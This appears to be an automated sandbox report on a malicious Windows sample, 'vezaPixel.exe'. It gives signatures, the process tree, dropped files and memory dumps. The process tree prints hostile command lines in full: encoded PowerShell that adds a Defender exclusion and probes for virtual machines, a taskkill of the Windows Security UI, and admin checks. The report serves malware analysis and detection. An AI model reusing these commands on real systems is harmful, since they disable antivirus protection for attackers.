Analysis

  • user interaction
    yes
  • max time kernel
    328s
  • max time network
    325s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/05/2026, 05:21

General

  • Target
    vezaPixel.exe
  • Size 180.1MB
  • Sample260528-f2f5sshv31
  • SHA256 82c99aad03cb3787f670782c932cc130e1e40c02ade3d521ed67207cd73988d7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
    "C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe"
    1⤵
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
      "C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\vezapixel-zf2i" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1720,i,12973505888101150925,1250256682757645288,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1712 /prefetch:2
      2⤵
        PID:4836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABuAD0AQAAoACkAOwAgAHQAcgB5AHsAJABuACsAPQBHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAHwAUwBlAGwAZQBjAHQAIAAtAEUAeABwAGEAbgBkACAATgBhAG0AZQB9AGMAYQB0AGMAaAB7AH0AOwAgAGkAZgAoAEAAKAAkAG4AKQAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAApAHsAdAByAHkAewAkAG4AKwA9AEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBWAGkAZABlAG8AQwBvAG4AdAByAG8AbABsAGUAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAB8AFMAZQBsAGUAYwB0ACAALQBFAHgAcABhAG4AZAAgAE4AYQBtAGUAfQBjAGEAdABjAGgAewB9AH0AOwAgACgAJABuACAALQBqAG8AaQBuACAAIgB8ACIAKQA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:436
      • C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe
        "C:\Users\Admin\AppData\Local\Temp\vezaPixel.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\vezapixel-zf2i" --field-trial-handle=1848,i,12973505888101150925,1250256682757645288,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1828 /prefetch:3
        2⤵
          PID:3328
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "net session"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\Windows\system32\net.exe
            net session
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3096
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 session
              4⤵
                PID:1136
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM SecHealthUI.exe"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1512
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM SecHealthUI.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2148
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3496
            • C:\Windows\system32\net.exe
              net session
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:872
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                4⤵
                  PID:1728
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABjAD0ARwBlAHQALQBDAG8AbQBtAGEAbgBkACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AGkAZgAoACQAYwApAHsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAH0AYwBhAHQAYwBoAHsAfQB9AA==
              2⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4596
            • C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
              C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
              2⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Checks whether UAC is enabled
              • Suspicious behavior: EnumeratesProcesses
              PID:3668

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 b58f994c644f7b4a831e889630bfd7ca0860aeb1e0920dc0f5d4928585a9dbab
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 cfc90677fb90dc7adbf30bcbf8a7ebdabfd4ba81dd02de64c0200c75165b32c4
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_wsvtlolh.wc5.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wsvtlolh.wc5.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                d9fd5b786c5b14b9.exe

                • Path C:\Users\Admin\AppData\Local\Temp\d9fd5b786c5b14b9.exe
                • Size 3.0MB
                • SHA256 73f9c308730eab8be18eec06b6bf93d6e94dbdd26652268c2210a114a0454fa6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/436-7-0x000001AE59CC0000-0x000001AE59CE2000-memory.dmp

                memory/436-9-0x000001AE5A140000-0x000001AE5A16A000-memory.dmp

                memory/436-10-0x000001AE5A140000-0x000001AE5A164000-memory.dmp

                memory/3668-33-0x0000000140000000-0x0000000140776000-memory.dmp

                memory/3668-34-0x0000000140000000-0x0000000140776000-memory.dmp

                memory/3668-35-0x0000000140000000-0x0000000140776000-memory.dmp

                memory/3668-37-0x0000000140000000-0x0000000140776000-memory.dmp